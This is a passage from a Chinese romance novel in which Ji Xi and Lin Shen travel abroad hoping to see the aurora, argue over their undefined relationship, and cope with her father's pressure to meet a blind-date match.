但是季西不为所动,见他不说话,又问一遍:“你刚刚怎么回事。”
这次她语气加重了,听起来已经有点情绪。
林慎道:“你们说些我听不懂的话题,我问问而已嘛。”
他有意装乖,想去拉季西的手,对方却不给他拉,还拍了一下他。
林慎捂着被拍的手背委屈道:“感觉像被排挤了……所以我问问嘛。”
季西盯着他,非常认真又冷漠道:“这是我的事,跟你有什么关系。”
看着对方受伤的眼神,她狠心地撇开眼,像是给自己找理由一样:“刚才你的行为让我感觉很不舒服。”
她余光看见对方明显一怔,于是语气放软了一点:“我感觉自己像个物品,被你限制了自由。”
“对不起。”林慎立刻道,“我当时太急了,没有注意到你的感受。”
他说:“我下次不会这样了……对不起。”
季西抬眼看他,从他脸上看到了浓浓的歉意。
他不再是刚才故意装可怜的表情,而是敛了眉眼,很真诚。
她不说话,林慎又要来拉她的手,这次没被打。
林慎两只手抓着她一只手摇了摇,靠近了点:“我下次真的不会了……”
季西还是不说话,她垂眼,看不见对方表情,看见对方的手拉着她。
林慎的手很大——相比较她来说。
于是,当他两只手都握在季西一只手上时,她的手就显得小了许多。
但因为对方这样的动作,又把她整个人都衬得很冷漠。
季西厌恶这样的自己。
她想握住林慎的手,让他别摇了,又想起季父。
算了。
反正之后他们也不会有关系了。
季西最后说:“去吃饭吧。”
她拉着林慎去餐厅,又想起常过言也在餐厅,于是改了主意。
“我们去外面看看有什么吃的好了。”她说。
林慎对她的任何决定都没有异议,并且为了弥补刚刚的过错,他掏出手机,在社交软件上找别人推荐的、季西可能喜欢的餐厅,主动拿给季西看。
季西拿过他的手机,在上面挑了一会,最后拍定一家离这里大概一公里的店。
这么短的距离,他们走过去都可以,只是刚才下来时没有穿多衣服,需要上去换。
换完衣服,他们出了酒店,速速出发了。
季西晃晃脑袋,把刚才的坏心情都丢掉,又充满了活力。
街上现在有些人了,尽管不是很多,但比昨晚看着有人气。
这时候还有点太阳,再晚点太阳就下山了。
林慎搂着季西的一边手臂不放,美名其曰暖和,季西都懒得跟他计较。
她听到路边有人说,如果今晚天气放晴的话,会有极光。
13. 第 13 章
季西进餐厅时还在查今晚的天气。
可惜,雨夹雪。
这是个不好的消息,因为下雨意味着有云,极光会被厚厚的云层遮挡。
季西放下手机,仍然想着这件事,最后叹了口气。
身边的林慎看出她是因为什么难过,安慰道:“没事的,还有好几天呢,肯定会看到的。下午要不要去博物馆?这边的博物馆还挺有意思。”
季西语气很平,还是没有从刚才的失落里走出来。
她说:“先吃完饭再说吧。”
季西觉得自己快饿死了,本来起床时就很饿,偏偏刚刚还发生了那样的事。
生气时饥饿暂时被掩盖,现在更加明显。
她都没力气回季父的消息。
点完菜,等了一会,热热的菜色上来。
他们吃得很快,不到半小时就吃完了所有。
而季西早就吃完了,打开了季父的聊天框,斟酌着回复信息。
因为刚才跟林慎说了谎,现在不能让他知道,季西几乎是偷偷摸摸地回消息。
她发了一条:“我刚吃完饭。已经加上了。”
季父没有回,大概是在忙。
季西等了一会,见对方没有丝毫要回的趋势,关掉了跟季父的聊天,转而打开常过言的。
她在输入法里敲敲打打:“刚刚在电梯里真的抱歉,这件事我还没有跟他提过,所以导致了那样的结果。”
常过言很快回复道:“没事。是我的失误,不该在他面前贸然提起来。”
“暂时还没有想好怎么跟他提。”季西打了几个字,想了几秒,又继续:“麻烦你帮我保存这个秘密啦!”
常过言发了一个笑脸过来。
季西没再发,她放下手机,注意到旁边的林慎吃完了。
不知道是什么时候吃完的,现在看起来居然有点无聊,在玩叉子。
季西有些心虚地对上他的视线,生怕他又问。
刚才她把林慎拉去角落说的话挺没良心,再来一次,她不确保自己能不能再说出口一次。
但是林慎似乎没有察觉不对,冲她展露出笑脸,脸颊上的痣动了一下。
“回完了?”他语气轻松道:“现在还有点太阳,想去博物馆吗?”
-
博物馆下午三点半关门,他们到的时候已经三点了。
工作人员认真询问他们能否接受只逛半小时。
这个地区的博物馆挺大的,认真逛的话得花一个半小时,半小时实在匆忙,于是两人纷纷拒绝,离开了这里。
太阳早就在下山的时候,不过还有点余光,伴随着亮起来的路灯,显得世界很落寞。
他们在街上到处乱走,从这条大路绕到另一条大路,最后弯弯绕绕地,居然走进了一个花园。
温室花园。
季西拉着林慎赶紧过去。
他们花园门口仔细阅读了观赏须知,得知这座花园从早上九点营业到晚上十点。
“真是幸运。”季西道。
林慎侧头看她,对方正抬着脸跟他说话,鼻尖冻得通红,下巴缩在红色围巾里,却眉眼弯弯。
他忍不住也笑起来,仔细倾听对方说话。
“突然想起来,我来之前查攻略其实看到这里有温室花园了,不过当时在国内,一堆姹紫嫣红被围在玻璃里面显得很可怜,来到之后才发现它们到底有多珍惜。”
一个常常被夜幕笼罩,又没有什么绿植的城市,有这样一座花园,可不就是显得珍贵。
他们放慢脚步,在逐渐变暗的天空下仔细观赏起来。
-
果然是雨夹雪。
季西冷得受不了,紧紧抱着林慎的手臂,整个人都要缩到他肩膀后面。
她不太理解,明明林慎穿得很少,为什么整个人都源源不断散发着热气。
冒着小雨和细雪赶回酒店,一进门,热气铺面而来,虽然也没有暖和到能让人穿短袖的程度,但是也足以让季西冰冷的双手回温了。
刚才一直放在林慎口袋里、被他一直握着都没有暖回来。
季西一个箭步冲进电梯,林慎比她腿长,三两步加快步伐就进来了。
“我要先回去洗个澡。”季西坚定道。
林慎看她冻成鹌鹑样,心疼道:“要不再抱抱?”
季西坚定的摇头。
在电梯里,随时都可能停下来然后进人,搂搂抱抱地被人看见算什么样子。
不知道的还以为进他们大床房了呢。
季西坚决不干这种事。
酒店24小时热水供应,季西一进门就脱了外套,哆哆嗦嗦地找衣服,进卫生间前看见林慎手里拿着空调遥控器,打开了空调。
洗完澡出来,她感觉自己身上暖和很多了。
出来时也感受到一股热气,暖融融,让她不由自主打了个哈欠。
林慎失笑问道:“累了?先睡会,到时候饿了再去吃饭。”
正好他们中午吃得晚,晚餐也顺势往后挪时间。
“你快去洗澡吧。”季西又打了个哈欠道。
林慎点点头。
他去洗澡,季西却没有去床上休息,躺在沙发上,把电视打开了。
上面的节目是这个国家的狗血爱情剧,季西看了一会,台词听不懂也看不懂,只通过画面判断出是一个“给你五百万离开我儿子”的狗血戏码。
她懒得再看,打开手机,看到季父回复她的消息。
“林慎也和你在一个地方???!!”
一句话加了三个问号两个感叹号,看得出来他的震惊。
季西现在看到这个话,没有任何情绪波动。
不是免疫了,是刚刚那个澡洗的太舒服,身体懒洋洋的,就连情绪也很难被挑动。
季西回道:“谁说的?”
手机屏幕立马显出通话来电的界面,季西这才发现,原来她开了静音。
难怪她没发现季父的消息。
她接通,懒懒的喂了一声。
季父在那边一时没有说话,几秒后才语气冰冷道:“你这是对待父亲的态度吗?”
“爸。”季西揉了揉眉心,“什么事啊?”
“你还敢问我什么事?”季父气急败坏道:“你自己干了什么事还要我来说吗?!”
发觉自己声音太大,他后面特意压制了声音,语气还能听出咬牙切齿的味道。
季西坐起来,“我干嘛了。”
“林慎是不是
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和你在一起?”季父语气冰冷。
“没有啊。”她装傻道。
“你还敢说没有!他公司那里都来人说林慎很久没有去上班了,结果一查,跟你在的地方重合,你说巧不巧。”季父道,“你别说你没有见过他。”
“啊?”季西疑惑,“我问他了,他说他好好在公司上班,怎么会出现在这里。”
她正要继续装傻,林慎已经洗完澡,一边擦着头发,一边朝她走过来。
他并没有发现她在打电话,喊她:“西西,你……”
他这句话没有说完,被季西一个手势挡了回去。
满脸疑惑地闭上嘴,他发现季西表情非常……难以用语言描述。
察觉到自己干了坏事,林慎闭上嘴,拿着手上已经洗完烘干的衣服迅速去了卧室。
以免被季西逮住。
被他三个字逼疯的季西已经生无可恋,听着电话那头季父的阴阳怪气。
她正装得好好的,眼看着季父就要信了,结果林慎他走出来,三个字直接引爆了对方的怒火。
季西还要挣扎,说:“只是刚好碰到了,他非说我们是兄妹……”
“哦……”季父拉长了声音,“你是说,他非说你们是兄妹,非要缠着你照顾你是吗?”
季西一听不对劲,对方已经冷笑一声,“我怎么之前没发现你脸皮这么厚呢?是我的教育方法出了问题吗?不对吧,别人怎么不这样,怎么偏偏你就是这样的,你这么特殊啊?”
她皱起眉头,忍不住道:“你怎么能这样揣测我!”
季父嘲讽一笑:“就凭我是你爸!你好自为之,我不想再管你了。”
嘴上这么说,他还接着道:“给你找的人好的相亲对象你非不要,非想着山鸡变凤凰,要缠着人家,哼,你继续这样下去吧!等他去找门当户对的联姻时别来找我哭。”
季西几乎是负气一样大声地吼回去了:“我才不会!”
对方才不听她的,说完自己的话就把电话挂断了。
季西冷静下来才发现自己刚刚有多大声,她几乎是立刻抬头,看向卧室。
关着门,对方应该没有听到。
也有可能是听到了,但是不出来。
她眨巴眨巴眼,把盈满眼眶的泪水憋回去,洗了洗鼻子。
站起来去洗手间洗了把脸,季西看着镜子里的自己。
她想着,季父说的话好像也没有错。
等到眼睛附近的红色都褪下去,她才冲着镜子扬起一个笑,打开门出去。
林慎正站在门外,听见开门的声音立马扭头,跟她对上视线。
林慎有些躲闪,最后还是把目光移到她脸上,犹豫又愧疚道:“刚刚……”
季西摇摇头,像在镜子里对自己笑一样冲他笑,说:“没事。你现在饿吗?”
“啊?”林慎觑着她脸色,小心翼翼道:“还好吧……你要是饿的话我们可以下去吃饭。”
季西摇摇头,她站在卫生间门口的台阶上,抬起双手,很轻易地环住了林慎。
用脸颊轻轻贴了贴他的脸,季西能感受到他很热。
但室内的温度对她来说明明是刚好。
她亲了亲林慎,依然笑着,问:“要做吗?”
14. 第 14 章
听到这两个字,林慎一头雾水。
现在是什么情况?
搂着他的人越来越靠近他,他们整个上半身几乎紧密无缝地贴合在一起。
林慎有些无措,但还是下意识抱住季西。
明明刚才还情绪失控,看起来很难过的人,为什么现在又说要做。
——他应该没有理解错季西的意思吧。
“不想吗?”季西小声道。
她抬起脸,轻轻地吻了他一下,然后跟他对上视线。
他眼里有不解和疑问。
季西不想回答,闭上眼,靠上他。
“给我一个能逃离这个世界的机会。”
外面天黑得伸手不见五指,雪好像大了起来,斜斜地飘落,覆盖住路面,又覆盖住玻璃,让人看不清。
这个世界从此变得模糊不清起来。
季西不知道外面怎么样。
她完全沉浸,世界里好像只剩下林慎。
她只能感受到林慎的呼吸,对方已经完全把她笼罩。
她被新的刺激充满,于是不再痛苦——暂时遗忘了痛苦。
窗外雪渐渐停了。
季西太累,手背挡着眼睛。
她身上穿着舒服的长袖睡衣,躺在温暖的被子里,昏昏欲睡。
旁边倏然透进一股冷空气,季西被冷得瑟缩一下。
很快,一个人形热源进来了,并且结结实实地搂住了季西。
“睡觉吧。”季西说,她转了一下,从平躺变成侧躺,把头埋进热源里。
身边的人抬手,“啪”地一声,房间黑了。
季西却感到一阵晕眩。
像是低血糖。
现在好了,又困又晕。
季西忍了一会,发觉不行。
她推了推林慎,“我好像有点低血糖……有没有吃的?”
“啊?”林慎迅速爬起来,“记得有……我去找找。”
季西忍着眩晕感,点点头。
大概过了几分钟,林慎很快回来了,他把季西从被窝里挖出来,又开了灯,手上的糖塞进她嘴里。
季西闭着眼感觉出来:“棒棒糖?你什么时候买的?”
“昨天晚上。”林慎低声说:“买雪糕的时候。”
“哦。”季西不说话了。
糖融化在舌尖,她的眩晕感逐渐消失。
困意也在消失。
季西半睁着眼,看了旁边的人一眼,接着左手拍了拍他的肩,“干得好。”
林慎脸上露出得意的笑容,很快又被担心取代。
“你是不是饿了?”他问。
拿起手机看了眼时间,居然已经过了七个多小时。
已经凌晨两点多了。
“不用。”季西把棒棒糖撇到另一边,腮帮子鼓起来。
“先睡觉吧,明天早点起来吃饭,现在这个点也点不到什么。”
林慎不死心地点开外卖,发现所有店都关门了。
楼下餐厅更不用说,十一点停止供应,现在过去只能看见黑灯瞎火。
“那先睡觉吧。”他把手机扔回床头柜。
正要等季西吃完,一偏头看见她脸颊鼓起来一块。
林慎起了坏心思,没忍住,凑过去舔了一口。
把季西舔得一激灵。
她还以为自己感觉出错了,转过脸,看见对方谄媚的笑。
“我的天呐。”季西后知后觉的抬手,想捂住脸,又想起那一块都是林慎的口水,只好作罢。
“你干嘛。”
林慎没有回答,楚楚可怜道:“你这样好像事后啊。”
这话一出,两人都沉默了。
季西噗嗤一声笑出来,却不是笑事后。
她说:“你把棒棒糖当事后‘烟’呐。”
“不可以吗?”林慎压在她肩上,声音缱绻,字和字之间都在拉丝:“官人~多疼爱疼爱我吧。”
季西忍不住笑,“刚刚不就疼爱过了吗?不知足。”
林慎道:“以后也要疼爱我,西西大人,小男子自小就跟了你了……”
听他这么说,季西还以为自己在什么不正经的地方。
她懒懒道:“不给西西大人添麻烦,做好你小慎子的份内事,西西大人当然会好好疼爱你啦。”
林慎听她自称西西大人,实在可爱,露出了迷一般的笑容。
他趁着季西刚说完话,小口地咬在她脸颊上。
很想将她吞吃入腹,但又舍不得,于是只好控制着力道,轻轻叼住她那块皮肤。
他为这样的动作愉悦,仅次于刚才做的时候。
季西的脸颊肉被他叼着,他就好像感觉季西整个人都属于他了一样。
下一秒被打回原形。
季西对他为此很热衷的行为感到不解。
她有些无语了,手按在林慎胸上,本来想轻轻推开他,推不动,只好用力。
对方还得寸进尺地露出控诉的眼神。
季西脸上黏糊糊的,没忍住用手擦了一下。
然后手心也沾上了口水。
她有些无语,拿过对方递来的纸巾。
“你是狗吗。”季西道。
虽然她平时老是开玩笑说他是狗,但她也不想。
林慎的行为太像一条大狗了,一直紧紧粘着她,每次扭头都能看见他热忱的眼神。
不给黏的话就露出非正常男性能做出的表情,好像她干了什么天大的坏事一样。
要是别人也就算了,偏偏这家伙还长了一张精致的脸。
……她不好拒绝。
林慎听话地“汪汪”两声,然后说:“我还想咬。”
“……你发什么疯。”季西骂道。
“但是我都汪了。”林慎扭捏道:“你说我像小狗的。小狗舔人不是很正常?”
“你不是小狗。”她说:“你就是疯狗。”
思忖两秒,林慎悠然接受了这个新狗塑。
也行。
反正都是季西的狗。
如果能一直黏着她的话,变成草履虫也行吧。
林慎兴致勃勃且高昂地又学了两声狗叫,紧接着就要去舔她。
被季西拦住。
季西用舌头灵活地把糖撇到另一边,无比认真道:“虽然老是说你有病,但是我觉得,其实大部分人都有点病。”
她下了结论:“不止你有病,我也有病。”
季西露出轻松的笑,“现在我也是小狗啦。”
没想到林慎摇摇头,像是要纠正她:“你不是小狗。”
季西诧异,没等她说话,林慎又继续道:“小狗的世界只有主人,我要做你的小狗。”
“西西大人,你要当我的主人。”
季西听着他的非人类发言,心里惊涛骇浪。
半晌过后,她没忍住,由心道:“……你有病吧。”
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>林慎欢快地“嗯嗯”两声。
季西盯着他的动作,觉得自己还是病得太轻了。
刚才拿自己跟林慎比的行为简直可笑!
她佩服了,但还是不服气地小声道:“怎么连小狗都不让人当。”
林慎说:“因为你要当我的主人。汪汪。”
……说什么呢。
季西觉得糟心,季西不想再听。
她恶狠狠地咬碎了嘴里的糖,下床扔棍子漱口一气呵成。
最后爬回床上,把被子盖到林慎脸上,抬手关灯。
“啪”地一声,伴随着季西说话的声音:“我不要当主人!睡觉!”
林慎还要说,被季西一手制裁。
早上八点。
很准时的时间。
季西饿醒了。
她还没睁开眼,就被一股强烈恶意袭击,饿得她感觉自己能吃下一头牛。
但紧跟着饿意而来的,是香味。
物理意义上的饭香味。
季西动动鼻子,挣扎着坐起来,揉揉眼睛。
“醒了。”林慎的声音在靠近。
季西睁开眼,看见林慎。
他大概很早就醒了,现在穿戴整齐,还抓了把头发,很有服美役的意识。
靠近时还在散发香味。
食物香气逐渐被林慎身上的香味替代,季西下意识仔细嗅闻。
很柔和的香味,似乎还带着林慎身上的气味。
她说不出林慎本身有什么味道,只是觉得很干净。
柔和的味道混着干净的气息,给季西的感觉就是温柔。
但是林慎脸上一点都不温柔。
季西盯着他,他越装,露出一副勾引的表情。
太……妖艳?
这个词不太对。
季西苦思冥想,发现自己找不到词语形容他现在这副样子。
“你什么时候起的?”季西问。
林慎想了想,说:“忘了。我带了吃的回来,牛排和沙拉,还有别的,起来洗漱吧?”
“好啊。”季西爬起来,冲去卫生间,里面很快传来了水流的声音。
林慎脸上笑容淡了淡,开始复盘。
刚才季西怎么不给他一个吻。
难道根本没吸引到她?
那他今天的打扮也太无效了!
林慎拧着眉,打算等会吃饭时探探季西的口风。
看看季西到底是不喜欢他哪里。
原本打算就这么出去,想了想,林慎打开自己的行李箱。
季西出来时直奔餐桌,上面的饭菜还热气腾腾的,而林慎正坐在旁边等她。
她欢快地坐过去,拿起叉子,却发现身边的人没动,于是疑惑地转头。
对上林慎幽怨的眼神。
季西小心翼翼道:“怎么了?”
她也没干什么啊。
林慎有些刻意的嘟起嘴唇,果然把她的目光吸引过来。
他说:“就没有一点餐前仪式吗?”
季西放下叉子,满头雾水的问:“我们什么时候有的这东西?”
问是这么问,她的目光依然紧紧的盯着对方的嘴巴看。
她觉得林慎有一点变化,但又说不准。
季西问:“你的嘴为什么有一点红?”
其实不仅如此,还很润,唇珠肉嘟嘟的。
“对呀。”林慎理所当然道:“不应该亲一亲吗?”
15. 第 15 章
季西失语。
林慎很期待的看着她。
季西感到很困惑。
她不明白为什么林慎可以面不改色的说出那些惊为天人的话。
也不明白他现在的举动。
“你涂口红了?”季西怀疑地问。
林慎对于这个事还是有点害羞,点点头,拇指和食指夹在一起:“只涂了一点点。你觉得好看吗?”
季西问:“你就想要接吻是吗?”
林慎期待地点头。
季西一下有点犯难了。
但她很快就不犯难了。
她直接把林慎搂过来,扶着他的脸狠狠亲下去。
狠狠地亲了几秒。
林慎显然没有反应过来,被松开时还是懵的,只是下意识舔了舔嘴巴。
他的视线落到季西嘴上,发现自己嘴上的红色已经染了一半到她嘴唇周围。
季西大概也发现了。
她抽了张纸,擦了擦自己的嘴,拿起叉子,插了块肉,硬塞到林慎嘴里。
“好了,不亲了。”季西用叉子卷了番茄面,说:“嘴里有味道,好好吃饭吧。”
她把面塞进自己嘴里,幸福地眯了眯眼。
虽然刚才有点小插曲,但所幸这些吃的还是热的,吃下去感觉心里很高兴。
季西很开心。
林慎盯着她的动作和侧脸,看到对方鼓囊的脸颊之后才缓慢地吃起嘴里的肉。
他还在回味刚才的吻。
季西从来没有这么狂野过,在这之前,她的吻大多数时候都是轻轻柔柔,蜻蜓点水式的。
真是别有一番风味。
可惜时间不够长,有些细节他还没有很清楚地感受到。
林慎拿起刀叉,动作机械,开始切起牛排。
吃过一顿饭,季西感觉自己人生圆满。
如果林慎不要老是在她身边走来走去,还暗戳戳地问她自己好不好看、她喜不喜欢就好了。
“你觉得我今天的发型怎么样?”林慎问。
季西敷衍地抬眼,然后又垂下,嘴里道:“好帅好帅,我好喜欢。”
林慎凑到她面前,保证她的眼睛里都是自己。
“真的吗?那你为什么不看?”
“看着呢。”季西盯着他。
几秒后,她问:“你天天看着我的脸,不会觉得很无聊吗?”
“不会啊。”林慎像往常一样,目光细细描摹过她脸上的五官,不由自主笑了一下,“怎么会?”
季西已经习惯他这样的眼神了,之前她还有点不自然,现在完全已经摆烂。
反正什么行为都制止不了林慎,不让他明着看他就暗着看,怪渗人的。
那还是明着看好了。
“难道你对我失去新鲜感了吗?”林慎蹙起眉,“我觉得你还挺喜欢我的啊。”
季西清了清嗓子,拿过手机,苍白道:“我没有啊,怎么会。”
“不会就好。”林慎笑了下。
他看见季西打开手机,然后皱起眉,似乎刚才的好心情都荡然无存了。
没有问她发生了什么——林慎知道是谁给她发消息。
他默不作声地站起身,去了客厅,拿出自己的手机,给备注为林女士的联系人打了个电话。
季西看着季父发来的消息,不想看,复制粘贴到软件上总结了一下。
结果很快跳出来,先是通人性地安慰了她一下,接着说:“您父亲让您不要把自己现在的情感状况透露给相亲对象,避免对方不满,他表示自己也会帮您隐瞒,并且让您快点处理好现在的状况。”
其实上面还有一段,是季父对自己做的忏悔,但是最终都是以他毕竟是父亲,季西毕竟是女儿为结尾,都是季西从小听到大的套话。
她现在对这种话已经免疫了,可以直接无视。
她的关注点在下面那段。
帮她隐瞒?
什么意思。
就让她在跟林慎相处的时候也跟常过言聊天呗。
对她妈用情至深的季教授居然也能接受这种行为?
季西弄不明白了,勉强相信这是季教授若隐若现的父爱在作祟。
她切回社交软件,回复道:“好。”
季父秒回道:“毕竟你还是我的女儿,我也不能不管你。”
“嗯嗯。”季西敷衍。
对方没有再发消息过来,季西也就懒得再发。
她思考着要不要跟常过言说这件事,思绪被走进来的林慎打断。
“去博物馆吧?”林慎满脸轻松。
季西点点头,去换衣服。
这次出来很早,他们顺利地进入到博物馆内,在人流中被裹挟着往前推进。
季西一边看一边跟林慎小声说话,迎面撞上了常过言。
“季西?”常过言逆着人流走过来,看见她身边站着的林慎,也打了声招呼:“林先生。”
林慎看到他就没什么表情,高深莫测地回道:“常先生。”
“好巧。”季西说:“你也来逛博物馆。”
“是啊。”常过言无视林慎的冷脸,笑着道:“一起吗?”
“可以啊。”季西好奇道:“你什么时候来的?”
常过言看了看表,“大概一点多吧。最近天气不太好,没有极光的话只能来这里先看看。”
“确实。你去温室花园看过了吗?”
“还没有,不过听说过,打算后面去看。你们已经去看过了?”
季西点点头:“要是无聊的话可以去看看,不过今天太阳挺大,这种状态持续下去的话,明天应该就能看见了。”
太阳出来意味着云层都散开了,极光的条件就满足了。
“那真是太好了。”
走到博物馆深处,两人不再说话,专心致志看着展出的东西。
季西和林慎一直贴在一起,所以林慎的一举一动她都了然于胸。
林慎用手臂碰了碰她,低声道:“我要出去接个电话……待会再回来。”
季西偏头道:“好,到时候我给你发定位。”
他点点头离开,季西看过去时,他逆着人流接通了电话。
“他有点事,等会再回来。”季西说。
常过言对此当然没有什么好说的。
他提起另一件事:“今天早上季教授给我发了几条消息……”
季西顿时有些紧张,她浑身紧绷起来,故作轻松地:“嗯?”
常过言似乎在很艰难地组织语言,他说:“大概就是问我我们聊得怎么样,然后跟我说如果你有什么的话让我多担待担待。
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”
“你们是不是被发现了?”他斟酌良久,最后还是问出来。
常过言说中了。
季西垂着眼点头,“昨晚他给我打电话时发现的。”
常过言看她垂眼,还以为她在难过,安慰道:“没事的,我已经跟他说了我们聊得挺不错,还在互相了解阶段。”
季西抬眼,勉强露出一个笑:“谢谢,麻烦你了。”
常过言摇摇头。
季西盯着那些文物,心思却不在上面。
她原本应该已经习惯季父的做法,但是现在突然感觉有些羞耻。
她突然不知道自己该怎么做才好了。
季西打起精神,说:“常过言,之后几天有空吗?有没有时间出来吃顿饭?”
常过言一愣,失笑道:“可以啊。”
他还要再说,却见林慎从身后过来。
于是住了嘴,越过季西,冲林慎点点头。
季西看到他动作,转身看见林慎。
“忙完了?”她问。
林慎离得老远就看见常过言的动作,匆忙地回应后大跨步来到季西面前,刚好听见她说话。
林慎说:“就是公司的事,解决了。”
三人不再说话,很有默契地同时加快脚步,离开了博物馆。
外面天还亮着,不过还是还是有点灰暗,大概是被云层挡住了太阳。
“我先走了,再见。”常过言主动道。
季西笑笑,说:“再见。”
林慎依然不多话,只是看着他。
常过言一转身,林慎就带着季西往反方向走,脚步极快。
季西也不说什么,只是道:“刚刚是助理给你打电话了?”
林慎点点头,“公司那边的助理,说是有股东要见我。”
“这怎么办?”季西停下脚步,皱眉。
林慎摇摇头,说:“没事,我给那个股东打了个电话,安抚好了。”
“那就好。”季西说。
他们绕出一个转角,遮住太阳的云层恰巧飘走,算得上刺目的阳光突然迎面而来,季西眯了眯眼睛。
她抬手挡了挡太阳,说:“我爸让我回家相亲。”
身边的人一下停住脚步,季西快他两步,察觉到后转头看他。
这是一个下坡,季西本来就没他高,再加上她现在的地理位置,林慎显得越发高大。
刺目的阳光洒在他脸上,季西看不清他表情。
过了一会,林慎才走下来,语气很平淡:“为什么?”
季西道:“不清楚,可能是觉得我该嫁了。”
他们俩走了很长一段路,林慎依然没有说话,直到太阳重新被飘过的云遮住。
阳光被遮住,体感一下冷起来。
季西不安地动了动手臂,以驱赶掉这股突如其来的冷意。
林慎冷不丁道:“我妈没准备再结婚。”
季西慢慢睁大眼睛,在看地上的雪。
她知道林慎是什么意思。
但她嘴上还是道:“哦,我爸好像也没准备再结婚。”
林慎没回答,季西偏头看他,他表情好像是被她的话哽了一下。
满脸想说什么但是又难以说出口的样子。
半晌,他还是开口:“你要结婚吗?”
16. 第 16 章
季西说:“没有这么快。”
她抿抿唇,接着开口道:“我现在才21,怎么可能结婚。”
不想再谈论这个问题,她直接跳过,说:“他给我找相亲我也不一定会去,但是现在还没有回国,先应付应付加两个也行,免得他天天电话轰炸我。”
林慎表情阴郁,不动声色问:“其中一个是你学长?”
季西不回答,只是看他一眼。
林慎知道了。
他捏紧拳头,手臂青筋凸起,但声音依然平稳,“你们就是在讨论这件事?”
“对啊。”季西自言自语般道:“他以为我们是情侣,说要帮我掩护,我同意了。我不该同意。”
林慎只听到前面那句话。
他握紧的拳头松开点,“他以为我们在一起了?”
季西不回答,目光落在路面覆盖的雪堆上,注意力明显不在这里。
林慎拉住她,替她转了个身。
太阳又出来了,重新落在季西身上。
“我们现在是什么关系?”林慎紧盯着她,直截了当问。
季西“啊”了一声,声音拉长,显然是不想回答。
她本来想不做声,装作没注意的样子移开目光,不和林慎对视上。
林慎捏着她的下巴,耐心道:“你回答我。”
躲不过了,季西只好直视,把问题扔给他:“你觉得我们是什么关系?”
“情侣?朋友?没名没分的兄妹?”林慎缓慢地扔出几个回答。
“还是说在你心里我只是一个比较趁手的工具?”他尖锐道。
季西听到这句话,用难以用语言描述的眼神看了他一眼。
林慎知道说过了,他松开季西,垂下头道歉:“对不起。”
“不用道歉。”季西说,“我只是没想到你能把我想得这么坏。”
林慎还要说,被季西打断,“不过幸好,我本来就是这么坏。”
季西往后站了两步,说:“你为什么一定要这么粘着我?两年前我就不知道。”
林慎追上前,被季西用手挡了一下,她说:“我们的关系没必要这么近。”
“最开始我以为我们俩是各取所需。”她抬起上眼皮,眼里带着困惑,“但是你后面的行为让我发现,我想错了。”
林慎很错愕,没有再上前,而是停留在原地,听季西说话:“你给我的偏爱太多了,我差点就要迷失了。”
到底是哪里出了问题?
林慎听她说这些,脑中逐渐浮现这句话。
“到底是因为什么?”季西问,“最开始是因为什么,我可以知道原因吗?”
林慎张张嘴,却说不出任何。
他时刻都在高速运转的大脑僵住了,在此时此刻,在异国的街头。
他闭上嘴,满脸哀求地看着季西,祈求她不要对自己那么严厉。
季西却轻轻叹了口气,“看吧,你也说不出来。”
对方失落的脸太清楚,深刻地烙印在林慎脑海里,他伸手想去拉她,被季西躲开。
“最开始就是错的。”季西说,“我们应该保持井水不犯河水的距离,不然不会发展到今天这步。”
季西回忆起两年前,她跟着季父去林女士家。
那时候只是客人,她还不知道季父其实跟林女士有非同一般的关系。
她以为只是像往常一样,到季父的同僚或者领导家里吃饭,所以尽管做的车开进了一座庄园,她也没有察觉不对。
他们只是很安静地吃了一顿饭,跟林女士说了会话,就要离开的时候,林慎回来了。
他走进来,对着林女士喊了声“妈”,跟她短暂对视一眼,就没有然后了。
这是他们第一次见面。
之后每次见面都是林慎故意制造的——只是季西的猜测。
是她无数个睡不着的夜晚里得出来的结论。
林慎当时公司正在起步的时候,怎么可能无数次在大学校园里跟她碰见。
季西的沉默落在林慎眼里,更让他不安。
他说:“对不起。”
“我不问了。”林慎说,“对不起。”
季西被他的话惊到,讶异地抬头,看见他眼圈泛红。
下一秒就要哭出来一样。
“感情没有对错。”林慎倔强地说,“我要说的是这个,其他的不会问了。”
他细微地抽动着鼻子,抓着季西的手当抹布,擦掉自己脸上的泪水,“你不要丢下我就好了,我下次不会问了。”
季西还没有说什么,他就兀自拉进跟她的距离,抱住她,头埋在她颈间,蹭着她。
“你原谅我吧,看在我这么可怜的份上原谅我吧。”林慎可怜兮兮地说:“我还可以给你学小狗叫。”
他都这么说了,季西再回到刚才的话题也不太合适。
只好把手虚虚地放在他后脑勺上,生疏地安慰:“好啦好啦……不说了。”
林慎抓着她的手用力,季西现在手心完全覆盖在他头发上。
她思索片刻,笨拙地揉了揉他的头。
这个姿势保持了几秒钟,季西站得脚都要麻了。
她本来想跟之前一样直接把林慎喊起来,但考虑到刚刚她说的那些话,现在再做出这种行为会显得很粗暴,季西决定温柔一点。
“起来吧。”季西柔声道,“我们俩要变成雕塑了。”
林慎慢吞吞站直,声音里还带着鼻音:“变成雕塑也挺好,能跟你一直在一起。”
季西笑笑,不知道说什么。
林慎望着她,一副满腹委屈无处说的样子,搞得她有些尴尬。
她本能地想去牵他手,之前林慎很好哄,都是这样被哄好的。
但是伸到一半,她又想起刚才自己说的那些狠话,于是就僵在原地。
她还能用这样敷衍的方式哄他吗?
季西不知道。
就算是这样敷衍的方式,也是试了很多次才试出来。
正准备装作若无其事的样子收回手,被人半路截住了。
林慎带着浓浓的鼻音控诉她:“说了那么多狠心的话,就真的要这么狠心吗?”
林慎的手指灵活地钻进她指缝,然后牢牢地跟她扣在一起。
他低声说:“我都知道错了,刚才说的那些话就当是给我一个下马威吧。”
季西有些茫然,顺着他的台阶下。
林慎的手很暖和,暖到她难以继续思考。
她用了点力,算是回应了
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林慎。
“太阳要回家了。”季西把下巴藏进围巾里,小声道:“我们也回去吧。”
林慎听清楚了,也感受到她的回应。
他暗暗松口气。
是他的错,明知道季西现在还没有确认关系的打算,还硬逼着她说。
是他太急了。
况且比起常过言,季西明显更偏向他。
季西对他有感情,对常过言没有感情。
林慎很清楚。
他敛了心神,乖巧地跟在季西身边,打定主意不再提这话。
-
那天的阳光果然是个好征兆,从那天起天空万里无云,随着白昼时间的缩短,极光越来越明显。
季西终于如愿以偿。
某天晚上,她半夜翻来覆去的睡不着,蹑手蹑脚爬起来,想看看外面有没有下雪,却发现了原本黑漆一片的天空多了一抹不寻常的绿色。
还以为自己看错了,季西睁大眼睛,想再看清楚点。
她看见原本那抹若有似无的绿色在渐渐扩大,直到半壁暗色天空都涂满了这样的色彩。
这是极光?
